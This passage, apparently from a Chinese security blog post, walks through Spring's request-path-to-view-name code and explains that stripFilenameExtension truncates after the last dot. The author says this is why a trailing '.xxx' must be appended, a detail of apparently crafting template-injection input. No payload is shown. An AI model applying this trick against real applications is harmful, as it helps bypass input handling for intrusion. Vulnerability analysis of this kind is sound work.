        if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
            path = lookupPath.substring(1);
        }

        if (this.stripTrailingSlash && path.endsWith("/")) {
            path = path.substring(0, path.length() - 1);
        }

        if (this.stripExtension) {
            path = StringUtils.stripFilenameExtension(path);
        }

        if (!"/".equals(this.separator)) {
            path = StringUtils.replace(path, "/", this.separator);
        }

        return path;
    }

public static String stripFilenameExtension(String path) {
    int extIndex = path.lastIndexOf(46);
    if (extIndex == -1) {
        return path;
    } else {
        int folderIndex = path.lastIndexOf("/");
        return folderIndex > extIndex ? path : path.substring(0, extIndex);
    }
}

image-20220501012540185

stripFilenameExtension方法會把.後面的內容給截斷掉。這也是爲什麼需要在最後面加入.xxx的原因。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章